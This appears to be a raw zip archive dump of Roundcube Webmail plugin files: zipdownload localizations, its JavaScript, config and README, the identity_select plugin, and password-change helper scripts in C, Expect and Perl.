 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Hämta alla bifogade filer';
$labels['download'] = 'Hämta...';
$labels['downloadmbox'] = 'Format Mbox (.zip)';
$labels['downloadmaildir'] = 'Format Maildir (.zip)';
$labels['downloademl'] = 'Källkod (.eml)';
$labels['sizelimiterror'] = 'Sammanlagd storlek på valda meddelanden är för stor ($size)';
PKh�\=Ը���'plugins/zipdownload/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'بارلىق قىستۇرمىلارنى چۈشۈرۈش';
$labels['download'] = 'چۈشۈرۈش...';
$labels['downloadmbox'] = 'خەت ساندۇقى فورماتى (.zip)';
$labels['downloadmaildir'] = 'خەت مۇندەرىجىسى فورماتى (.زىپ)';
$labels['downloademl'] = 'مەنبە (eml.)';
$labels['sizelimiterror'] = 'تاللانغان خەتلەرنىڭ جەمئىي چوڭلۇقى چەكتىن (size$) ئېشىپ كەتتى';
PKh�\�󫲆�*plugins/zipdownload/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = '모든 첨부파일을 다운로드';
$labels['download'] = '다운로드...';
$labels['downloadmbox'] = 'Mbox 형식 (.zip)';
$labels['downloadmaildir'] = 'Maildir 형식 (.zip)';
$labels['downloademl'] = '소스 (.eml)';
$labels['sizelimiterror'] = '선택한 메시지의 전체 크기가 최대 크기인 ($size)을(를) 초과함';
PKh�\R��*plugins/zipdownload/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descargar todos os adxuntos';
$labels['download'] = 'Descargar';
$labels['downloadmbox'] = 'En formato mbox (.zip)';
$labels['downloadmaildir'] = 'En formato maildir (.zip)';
$labels['downloademl'] = 'Código fonte (.eml)';
PKh�\��xpp*plugins/zipdownload/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Scarica tutti gli allegati';
$labels['download'] = 'Scarica...';
$labels['downloadmbox'] = 'Formato mbox (.zip)';
$labels['downloadmaildir'] = 'Formato maildir (.zip)';
$labels['downloademl'] = 'Sorgente (.eml)';
$labels['sizelimiterror'] = 'La dimensione totale dei messaggi selezionati supera il limite ($size)';
PKh�\��ztt*plugins/zipdownload/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descargar todos los adjuntos';
$labels['download'] = 'Descargar...';
$labels['downloadmbox'] = 'Formato mbox (.zip)';
$labels['downloadmaildir'] = 'Formato maildir (.zip)';
$labels['downloademl'] = 'Fuente (.eml)';
$labels['sizelimiterror'] = 'El tamaño total de los mensajes seleccionados supera el límite ($size)';
PKh�\)>�s��*plugins/zipdownload/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'എല്ലാ അറ്റാച്ച്മെന്റുകളും ഡൗൺലോഡ് ചെയ്യുക';
$labels['download'] = 'ഡൗൺലോഡ്...';
$labels['downloadmbox'] = 'എംബോക്സ് രീതി (.zip)';
$labels['downloadmaildir'] = 'മെയിൽഡിർ രീതി (.zip)';
$labels['downloademl'] = 'സ്രോതസ്സ് (.eml)';
PKh�\���nn*plugins/zipdownload/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Alle bijlagen downloaden';
$labels['download'] = 'Download...';
$labels['downloadmbox'] = 'Mbox-formaat (.zip)';
$labels['downloadmaildir'] = 'Maildir-formaat (.zip)';
$labels['downloademl'] = 'Bron (.eml)';
$labels['sizelimiterror'] = 'Totale grootte van geselecteerde berichten is groter dan de limit ($size)';
PKh�\{��Ttt*plugins/zipdownload/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Lawrlwytho\'r holl atodiadau';
$labels['download'] = 'Lawrlwytho...';
$labels['downloadmbox'] = 'Fformat mbox (.zip)';
$labels['downloadmaildir'] = 'Fformat maildir (.zip)';
$labels['downloademl'] = 'Ffynhonnell (.eml)';
$labels['sizelimiterror'] = 'Cyfanswm maint yr holl negeseuon sy\'n fwy na\'r cyfyngiad ($size)';
PKh�\MnM^^*plugins/zipdownload/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Download all attachments';
$labels['download'] = 'Download...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
$labels['sizelimiterror'] = 'Total size of selected messages exceeds the limit ($size)';
PKh�\�����*plugins/zipdownload/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Heinta allar viðheftingar';
$labels['download'] = 'Heinta...';
$labels['downloadmbox'] = 'Mbox týpa (.zip)';
$labels['downloadmaildir'] = 'Teldupost mappu format (.zip)';
$labels['downloademl'] = 'Kelda (.eml)';
$labels['sizelimiterror'] = 'Tann samlaða støddin av tí valgda boðnum, er stórri enn stórst loyvdu boð stødd ($size)';
PKh�\zW!�ff*plugins/zipdownload/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Atsisiųsti visus priedus';
$labels['download'] = 'Parsisiųsti...';
$labels['downloadmbox'] = 'Mbox formatas (.zip)';
$labels['downloadmaildir'] = 'Maildir formatas (.zip)';
$labels['downloademl'] = 'Kodas (.eml)';
$labels['sizelimiterror'] = 'Bendras pasirinktų laiškų dydis viršija ribą ($size)';
PKh�\8�ss*plugins/zipdownload/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Transferir todos os anexos';
$labels['download'] = 'Transferir...';
$labels['downloadmbox'] = 'Formato Mbox (.zip)';
$labels['downloadmaildir'] = 'Formato Maildir (.zip)';
$labels['downloademl'] = 'Original (.eml)';
$labels['sizelimiterror'] = 'O tamanho total das mensagens seleccionadas excede o limite de ($size)';
PKh�\�)>���*plugins/zipdownload/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Λήψη όλων των συνημμένων';
$labels['download'] = 'Λήψη...';
$labels['downloadmbox'] = 'Μορφή mbox (.zip)';
$labels['downloadmaildir'] = 'Μορφή maildir (.zip)';
$labels['downloademl'] = 'Πηγή (.eml)';
$labels['sizelimiterror'] = 'Το συνολικό μέγαθος των επιλεγμένων μηνυμάτων υπερβαίνει το όριο ($size)';
PKh�\żҪaa'plugins/zipdownload/config.inc.php.distnu�[���<?php

/**
 * ZipDownload configuration file
 */

// Zip attachments
// Only show the link when there are more than this many attachments
// -1 to prevent downloading of attachments as zip
$config['zipdownload_attachments'] = 1;

// Zip selection of mail messages
// This option enables downloading of multiple messages as one zip archive.
// The number or string value specifies maximum total size of all messages
// in the archive (not the size of the archive itself).
$config['zipdownload_selection'] = '50MB';

// Charset to use for filenames inside the zip
$config['zipdownload_charset'] = 'ISO-8859-1';
PKh�\�M��^	^	&plugins/zipdownload/zipdownload.min.jsnu�[���/**
 * ZipDownload plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function rcmail_zipdownload(a){var i,e,n,l;"eml"==a?(e=rcmail.get_single_uid(),rcmail.goto_url("viewsource",rcmail.params_from_uid(e,{_save:1}),!1,!0)):rcmail.message_list&&1<rcmail.message_list.get_selection().length&&(i=[],e=rcmail.selection_post_data(),l="zipdownload-"+(new Date).getTime(),n=$("<iframe>").attr({name:l,style:"display:none"}),l=$("<form>").attr({target:l,style:"display: none",method:"post",action:rcmail.url("mail/plugin.zipdownload.messages")}),e._mode=a,e._token=rcmail.env.request_token,$.each(e,function(a,e){if("object"==typeof e&&1<e.length)for(var n=0;n<e.length;n++)i.push($("<input>").attr({type:"hidden",name:a+"[]",value:e[n]}));else i.push($("<input>").attr({type:"hidden",name:a,value:e}))}),n.appendTo(document.body),l.append(i).appendTo(document.body).submit())}function rcmail_zipdownload_menu(a){var e=rcmail.message_list.get_selection().length;return rcmail.enable_command("download-eml",1==e),rcmail.enable_command("download-mbox","download-maildir",1<e),rcmail.command("menu-open","zipdownload-menu",a&&a.target?a.target:rcmail.env.download_link,a),!1}window.rcmail&&rcmail.addEventListener("init",function(a){rcmail.register_command("download-eml",function(){rcmail_zipdownload("eml")}),rcmail.register_command("download-mbox",function(){rcmail_zipdownload("mbox")}),rcmail.register_command("download-maildir",function(){rcmail_zipdownload("maildir")}),rcmail.message_list&&rcmail.message_list.addEventListener("select",function(a){a=a.get_selection().length;rcmail.enable_command("download",0<a)}),rcmail.addEventListener("beforedownload",rcmail_zipdownload_menu),$.each(rcmail.buttons.download||[],function(){var a=$("#"+this.id),e=$("span",a);e.length||(e=$("<span>"),a.html("").append(e)),a.attr("aria-haspopup","true"),e.text(rcmail.get_label("zipdownload.download")),rcmail.env.download_link=a})});
PKh�\l�-ZZ"plugins/zipdownload/zipdownload.jsnu�[���/**
 * ZipDownload plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

window.rcmail && rcmail.addEventListener('init', function(evt) {
    // register additional actions
    rcmail.register_command('download-eml', function() { rcmail_zipdownload('eml'); });
    rcmail.register_command('download-mbox', function() { rcmail_zipdownload('mbox'); });
    rcmail.register_command('download-maildir', function() { rcmail_zipdownload('maildir'); });

    // commands status
    rcmail.message_list && rcmail.message_list.addEventListener('select', function(list) {
        var selected = list.get_selection().length;

        rcmail.enable_command('download', selected > 0);
    });

    // hook before default download action
    rcmail.addEventListener('beforedownload', rcmail_zipdownload_menu);

    // find and modify default download link/button
    $.each(rcmail.buttons['download'] || [], function() {
        var link = $('#' + this.id),
            span = $('span', link);

        if (!span.length) {
            span = $('<span>');
            link.html('').append(span);
        }

        link.attr('aria-haspopup', 'true');

        span.text(rcmail.get_label('zipdownload.download'));
        rcmail.env.download_link = link;
    });
});


function rcmail_zipdownload(mode)
{
    // default .eml download of single message
    if (mode == 'eml') {
        var uid = rcmail.get_single_uid();
        rcmail.goto_url('viewsource', rcmail.params_from_uid(uid, {_save: 1}), false, true);
        return;
    }

    // multi-message download, use hidden form to POST selection
    if (rcmail.message_list && rcmail.message_list.get_selection().length > 1) {
        var inputs = [],
            post = rcmail.selection_post_data(),
            id = 'zipdownload-' + new Date().getTime(),
            iframe = $('<iframe>').attr({name: id, style: 'display:none'}),
            form = $('<form>').attr({
                    target: id,
                    style: 'display: none',
                    method: 'post',
                    action: rcmail.url('mail/plugin.zipdownload.messages')
                });

        post._mode = mode;
        post._token = rcmail.env.request_token;

        $.each(post, function(k, v) {
            if (typeof v == 'object' && v.length > 1) {
              for (var j=0; j < v.length; j++)
                  inputs.push($('<input>').attr({type: 'hidden', name: k+'[]', value: v[j]}));
            }
            else {
                inputs.push($('<input>').attr({type: 'hidden', name: k, value: v}));
            }
        });

        iframe.appendTo(document.body);
        form.append(inputs).appendTo(document.body).submit();
    }
}

// display download options menu
function rcmail_zipdownload_menu(e)
{
    // Menu option status
    var selected = rcmail.message_list.get_selection().length;
    rcmail.enable_command('download-eml', selected == 1);
    rcmail.enable_command('download-mbox', 'download-maildir', selected > 1);

    // show (sub)menu for download selection
    rcmail.command('menu-open', 'zipdownload-menu', e && e.target ? e.target : rcmail.env.download_link, e);

    // abort default download action
    return false;
}
PKh�\6�q�plugins/zipdownload/READMEnu�[���Roundcube Webmail ZipDownload
=============================
This plugin adds an option to download all attachments to a message in one zip
file, when a message has multiple attachments. The plugin also allows the
download of a selection of messages in 1 zip file.

Requirements
============
* php_zip extension (including ZipArchive class)
  Either install it via PECL or for PHP >= 5.2 compile with --enable-zip option

License
=======
This plugin is released under the GNU General Public License Version 3
or later (http://www.gnu.org/licenses/gpl.html).

Even if skins might contain some programming work, they are not considered
as a linked part of the plugin and therefore skins DO NOT fall under the
provisions of the GPL license. See the README file located in the core skins
folder for details on the skin license.

Install
=======
* Place this plugin folder into plugins directory of Roundcube
* Add zipdownload to $config['plugins'] in your Roundcube config

NB: When downloading the plugin from GitHub you will need to create a
directory called zipdownload and place the files in there, ignoring the
root directory in the downloaded archive

Config
======
The default config file is plugins/zipdownload/config.inc.php.dist
Rename this to plugins/zipdownload/config.inc.phpPKh�\\��==%plugins/identity_select/composer.jsonnu�[���{
    "name": "roundcube/identity_select",
    "type": "roundcube-plugin",
    "description": "On reply to a message user identity selection is based on\n\t\tcontent of standard headers like From, To, Cc and Return-Path.\n\t\tHere you can add header(s) set by your SMTP server (e.g.\n\t\tDelivered-To, Envelope-To, X-Envelope-To, X-RCPT-TO) to make\n\t\tidentity selection more accurate.",
    "license": "GPL-3.0-or-later",
    "version": "1.1",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\#�8HH+plugins/identity_select/identity_select.phpnu�[���<?php

/**
 * Identity selection based on additional message headers.
 *
 * On reply to a message user identity selection is based on
 * content of standard headers i.e. From, To, Cc and Return-Path.
 * Here you can add header(s) set by your SMTP server (e.g.
 * Delivered-To, Envelope-To, X-Envelope-To, X-RCPT-TO) to make
 * identity selection more accurate.
 *
 * Enable the plugin in config.inc.php and add your desired headers:
 *   $config['identity_select_headers'] = ['Delivered-To'];
 *
 * Note: 'Received' header is also supported, but has bigger impact
 *       on performance, as it's body is potentially much bigger
 *       than other headers used by Roundcube
 *
 * @author Aleksander Machniak <alec@alec.pl>
 * @license GNU GPLv3+
 */
class identity_select extends rcube_plugin
{
    public $task = 'mail';


    function init()
    {
        $this->add_hook('identity_select', [$this, 'select']);
        $this->add_hook('storage_init', [$this, 'storage_init']);
    }

    /**
     * Adds additional headers to supported headers list
     */
    function storage_init($p)
    {
        $rcmail = rcmail::get_instance();

        if ($add_headers = (array) $rcmail->config->get('identity_select_headers', [])) {
            $add_headers = strtoupper(join(' ', $add_headers));

            if (isset($p['fetch_headers'])) {
                $p['fetch_headers'] .= ' ' . $add_headers;
            }
            else {
                $p['fetch_headers'] = $add_headers;
            }
        }

        return $p;
    }

    /**
     * Identity selection
     */
    function select($p)
    {
        if ($p['selected'] !== null || empty($p['message']->headers)) {
            return $p;
        }

        $rcmail = rcmail::get_instance();

        foreach ((array) $rcmail->config->get('identity_select_headers', []) as $header) {
            if ($emails = $this->get_email_from_header($p['message'], $header)) {
                foreach ($p['identities'] as $idx => $ident) {
                    if (in_array($ident['email_ascii'], $emails)) {
                        $p['selected'] = $idx;
                        break 2;
                    }
                }
            }
        }

        return $p;
    }

    /**
     * Extract email address from specified message header
     */
    protected function get_email_from_header($message, $header)
    {
        $value = $message->headers->get($header, false);

        if (strtolower($header) == 'received') {
            // find first email address in all Received headers
            $email = null;
            foreach ((array) $value as $entry) {
                if (preg_match('/[\s\t]+for[\s\t]+<([^>]+)>/', $entry, $matches)) {
                    $email = $matches[1];
                    break;
                }
            }

            $value = $email;
        }

        return (array) $value;
    }
}
PKh�\��j**(plugins/password/helpers/chgsaslpasswd.cnu�[���#include <stdio.h>
#include <unistd.h>

// set the UID this script will run as (cyrus user)
#define UID 96
// set the path to saslpasswd or saslpasswd2
#define CMD "/usr/sbin/saslpasswd2"

/* INSTALLING:
  gcc -o chgsaslpasswd chgsaslpasswd.c
  chown cyrus.apache chgsaslpasswd
  strip chgsaslpasswd
  chmod 4550 chgsaslpasswd
*/

main(int argc, char *argv[])
{
  int rc,cc;

  cc = setuid(UID);
  rc = execvp(CMD, argv);
  if ((rc != 0) || (cc != 0))
  {
    fprintf(stderr, "__ %s:  failed %d  %d\n", argv[0], rc, cc);
    return 1;
  }

  return 0;
}
PKh�\������&plugins/password/helpers/passwd-expectnu�[���#
# This scripts changes a password on the local system or a remote host.
# Connections to the remote (this can also be localhost) are made by ssh, rsh,
# telnet or rlogin.

# @author  Gaudenz Steinlin <gaudenz@soziologie.ch>

# For sudo support alter sudoers (using visudo) so that it contains the
# following information (replace 'apache' if your webserver runs under another
# user):
# -----
# # Needed for Horde's passwd module
# Runas_Alias     REGULARUSERS = ALL, !root
# apache ALL=(REGULARUSERS) NOPASSWD:/usr/bin/passwd
# -----

# @stdin              The username, oldpassword, newpassword (in this order)
#                     will be taken from stdin
# @param -prompt      regexp for the shell prompt
# @param -password    regexp password prompt
# @param -oldpassword regexp for the old password
# @param -newpassword regexp for the new password
# @param -verify      regexp for verifying the password
# @param -success     regexp for success changing the password
# @param -login       regexp for the telnet prompt for the loginname
# @param -host        hostname to be connected
# @param -timeout     timeout for each step
# @param -log         file for writing error messages
# @param -output      file for logging the output
# @param -telnet      use telnet
# @param -ssh         use ssh (default)
# @param -rlogin      use rlogin
# @param -slogin      use slogin
# @param -sudo        use sudo
# @param -program     command for changing passwords
#
# @return             0 on success, 1 on failure
#


# default values
set host               "localhost"
set login              "ssh"
set program            "passwd"
set prompt_string      "(%|\\\$|>)"
set fingerprint_string "The authenticity of host.* can't be established.*\n(RSA|ECDSA) key fingerprint is.*\nAre you sure you want to continue connecting.*"
set password_string    "(P|p)assword.*"
set oldpassword_string "((O|o)ld|login|\\\(current\\\) UNIX) (P|p)assword.*"
set newpassword_string "(N|n)ew.* (P|p)assword.*"
set badoldpassword_string "(Authentication token manipulation error).*"
set badpassword_string "((passwd|BAD PASSWORD).*|(passwd|Bad:).*\r)"
set verify_string      "((R|r)e-*enter.*(P|p)assword|Retype new( UNIX)? password|(V|v)erification|(V|v)erify|(A|a)gain).*"
set success_string     "((P|p)assword.* changed|successfully)"
set login_string       "(((L|l)ogin|(U|u)sername).*)"
set timeout            20
set log                "/tmp/passwd.out"
set output             false
set output_file        "/tmp/passwd.log"

# read input from stdin
fconfigure stdin -blocking 1

gets stdin user
gets stdin password(old)
gets stdin password(new)

# alternative: read input from command line
#if {$argc < 3} {
#    send_user "Too few arguments: Usage $argv0 username oldpass newpass"
#    exit 1
#}
#set user [lindex $argv 0]
#set password(old) [lindex $argv 1]
#set password(new) [lindex $argv 2]

# no output to the user
log_user 0

# read in other options
for {set i 0} {$i<$argc} {incr i} {
    set arg [lindex $argv $i]
    switch -- $arg "-prompt" {
        incr i
        set prompt_string [lindex $argv $i]
        continue
    } "-password" {
        incr i
        set password_string [lindex $argv $i]
        continue
    } "-oldpassword" {
        incr i
        set oldpassword_string [lindex $argv $i]
        continue
    } "-newpassword" {
        incr i
        set newpassword_string [lindex $argv $i]
        continue
    } "-verify" {
        incr i
        set verify_string [lindex $argv $i]
        continue
    } "-success" {
        incr i
        set success_string [lindex $argv $i]
        continue
    } "-login" {
        incr i
        set login_string [lindex $argv $i]
        continue
    } "-host" {
        incr i
        set host [lindex $argv $i]
        continue
    } "-timeout" {
        incr i
        set timeout [lindex $argv $i]
        continue
    } "-log" {
        incr i
        set log [lindex $argv $i]
        continue
    } "-output" {
        incr i
        set output_file [lindex $argv $i]
        set output true
        continue
    } "-telnet" {
        set login "telnet"
        continue
    } "-ssh" {
        set login "ssh"
        continue
    } "-ssh-exec" {
        set login "ssh-exec"
        continue
    } "-rlogin" {
        set login "rlogin"
        continue
    } "-slogin" {
        set login "slogin"
        continue
    } "-sudo" {
        set login "sudo"
        continue
    } "-program" {
        incr i
        set program [lindex $argv $i]
        continue
    }
}

# log session
if {$output} {
   log_file $output_file
}

set err [open $log "w" "0600"]

# start remote session
if {[string match $login "rlogin"]} {
   set pid [spawn rlogin $host -l $user]
} elseif {[string match $login "slogin"]} {
   set pid [spawn slogin $host -l $user]
} elseif {[string match $login "ssh"]} {
   set pid [spawn ssh $host -l $user]
} elseif {[string match $login "ssh-exec"]} {
   set pid [spawn ssh $host -l $user $program]
} elseif {[string match $login "sudo"]} {
   set pid [spawn sudo -u $user $program]
} elseif {[string match $login "telnet"]} {
   set pid [spawn telnet $host]
   expect -re $login_string {
     sleep .5
     send "$user\r"
   }
} else {
   puts $err "Invalid login mode. Valid modes: rlogin, slogin, ssh, telnet, sudo\n"
   close $err
   exit 1
}

set old_password_notentered true

if {![string match $login "sudo"]} {
  # log in
  expect {
    -re $fingerprint_string {sleep .5
                             send yes\r
                             exp_continue}
    -re $password_string    {sleep .5
                             send $password(old)\r}
    timeout                 {puts $err "Could not login to system (no password prompt)\n"
                             close $err
                             exit 1}
  }

  # start password changing program
  expect {
    -re $prompt_string      {sleep .5
                             send $program\r}
    # The following is for when passwd is the login shell or ssh-exec is used
    -re $oldpassword_string {sleep .5
                             send $password(old)\r
                             set old_password_notentered false}
    timeout                 {puts $err  "Could not login to system (bad old password?)\n"
                             close $err
                             exit 1}
  }
}

# send old password
if {$old_password_notentered} {
  expect {
    -re $oldpassword_string {sleep .5
                             send $password(old)\r}
    timeout                 {puts $err "Could not start passwd program (no old password prompt)\n"
                             close $err
                             exit 1}
  }
}

# send new password
expect {
  -re $newpassword_string {sleep .5
                           send $password(new)\r}
  -re $badoldpassword_string {puts $err "Old password is incorrect\n"
                           close $err
                           exit 1}
  timeout                 {puts "Could not change password (bad old password?)\n"
                           close $err
                           exit 1}
}

# send new password again
expect {
  -re $badpassword_string {puts $err "$expect_out(0,string)"
                           close $err
                           send \003
                           sleep .5
                           exit 1}
  -re $verify_string      {sleep .5
                           send $password(new)\r}
  timeout                 {puts $err "New password not valid (too short, bad password, too similar, ...)\n"
                           close $err
                           send \003
                           sleep .5
                           exit 1}
}

# check response
expect {
  -re $success_string {sleep .5
                       send exit\r}
  -re $badpassword_string {puts $err "$expect_out(0,string)"
                           close $err
                           exit 1}
  timeout             {puts $err "Could not change password.\n"
                       close $err
                       exit 1}
}

# exit successfully
expect {
  eof {close $err
       exit 0}
}
close $err
PKh�\Rx �Y
Y
,plugins/password/helpers/change_ldap_pass.plnu�[���#!/usr/bin/perl
=pod
Script to change the LDAP password using the set_password method
to proper setting the password policy attributes
author: Zbigniew Szmyd (zbigniew.szmyd@linseco.pl)
version 1.0 2016-02-22
=cut

use Net::LDAP;
use Net::LDAP::Extension::SetPassword;
use URI;
use utf8;
binmode(STDOUT, ':utf8');

my %PAR = ();
if (my $param = shift @ARGV){
    print "Password change in LDAP\n\n";
    print "Run script without any parameter and pass the following data:\n";
    print "URI\nbaseDN\nFilter\nbindDN\nbindPW\nLogin\nuserPass\nnewPass\nCAfile\n";
    exit;
}

foreach my $param ('uri','base','filter','binddn','bindpw','user','pass','new_pass','ca'){
    $PAR{$param} = <>;
    $PAR{$param} =~ s/\r|\n//g;
}

my @servers = split (/\s+/, $PAR{'uri'});
my $active_server = 0;

my $ldap;
while ((my $server = shift @servers) && !($active_server)) {
    my $ldap_uri = URI->new($server);
    if ($ldap_uri->secure) {
        $ldap = Net::LDAP->new($ldap_uri->as_string,
            version => 3,
            verify  => 'require',
            sslversion => 'tlsv1',
            cafile  => $PAR{'ca'});
    } else {
        $ldap = Net::LDAP->new($ldap_uri->as_string, version => 3);
    }
    $active_server = 1 if ($ldap);
}

if ($active_server) {
    my $mesg = $ldap->bind($PAR{'binddn'}, password => $PAR{'bindpw'});
    if ($mesg->code != 0) {
        print "Cannot login: ". $mesg->error;
    } else {
        # Wyszukanie users wg filtra
        $PAR{'filter'} =~ s/\%login/$PAR{'user'}/;
        my @search_args = (
            base => $PAR{'base'},
            scope  => 'sub',
            filter => $PAR{'filter'},
            attrs  => ['1.1'],
        );
        my $result = $ldap->search(@search_args);
        if ($result->code) {
            print $result->error;
        } else {
            my $count = $result->count;
            if ($count == 1) {
                my @users = $result->entries;
                my $dn = $users[0]->dn();
                $result = $ldap->bind($dn, password => $PAR{'pass'});
                if ($result->code){
                    print $result->error;
                } else {
                    $result = $ldap->set_password(newpasswd => $PAR{'new_pass'});
                    if ($result->code) {
                        print $result->error;
                    } else {
                        print "OK";
                    }
                }
            } else {
                print "User not found in LDAP\n" if $count == 0;
                print "Found $count users\n";
            }
        }
    }
    $ldap->unbind();
} else {
    print "Cannot connect to any server";
}
